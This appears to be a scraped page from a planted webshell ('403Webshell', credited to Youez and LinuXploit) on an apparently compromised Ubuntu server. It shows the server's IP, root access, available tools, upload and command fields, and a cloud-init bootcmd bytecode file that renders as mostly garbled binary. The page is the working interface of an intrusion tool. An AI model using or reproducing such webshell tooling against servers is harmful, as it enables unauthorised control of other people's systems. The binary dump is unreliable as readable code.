403Webshell
Server IP : 159.69.118.108  /  Your IP : 216.73.216.231
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-4gb-fsn1-1 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 13:53:54 UTC 2025 aarch64
User : root ( 0)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_bootcmd.cpython-312.pyc
�

��i��
��UdZddlZddlmZmZmZddlmZddlm	Z	ddl
mZddlm
Z
eje�Ze
Zdd	ge
d
gd�Zeed<d
ede	dededdf
d�Zy)z:Bootcmd: run arbitrary commands early in the boot process.�N)�subp�
temp_utils�util)�Cloud)�Config)�
MetaSchema)�
PER_ALWAYS�
cc_bootcmd�all�bootcmd)�id�distros�	frequency�activate_by_schema_keys�meta�name�cfg�cloud�args�returnc	�v�d|vrtjd|�ytjd��5}	t	j
|d�}|j
t	j|��|j�	|j�}|r
dt|�ini}tjd|jg|d�	�	ddd�y#t$r*}t	jtdt|���d}~wwxYw#t$rt	jtd
|��wxYw#1swYyxYw)Nrz;Skipping module named %s, no 'bootcmd' key in configurationz.sh)�suffixzFailed to shellify bootcmd: %s�INSTANCE_IDz/bin/shF)�
update_env�capturezFailed to run bootcmd module %s)�LOG�debugr�ExtendedTemporaryFiler�shellify�write�encode_text�flush�	Exception�logexc�str�get_instance_idrr)	rrrr�tmpf�content�e�iid�envs	         �=/usr/lib/python3/dist-packages/cloudinit/config/cc_bootcmd.py�handler-!s
������	�	�I�4�	
�	�	�	)�	)��	7��4�	��m�m�C�	�N�3�G��J�J�t�'�'��0�1��J�J�L�
	��'�'�)�C�/2�=�#�c�(�+��C��I�I�y�$�)�)�,��e�L����
�	��K�K��=�s�1�v�F���	���	��K�K��>��E��	����s<�D/�AC�AD�	D�%C>�>D�D/�&D,�,D/�/D8)�__doc__�logging�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr	�	getLogger�__name__rrr�__annotations__r%�listr-��r,�<module>r;s��A��,�,�!�#�.�)��g����!���	���w�� )�{�	��j�����6��%��t���r:

Youez - 2016 - github.com/yon3zu
LinuXploit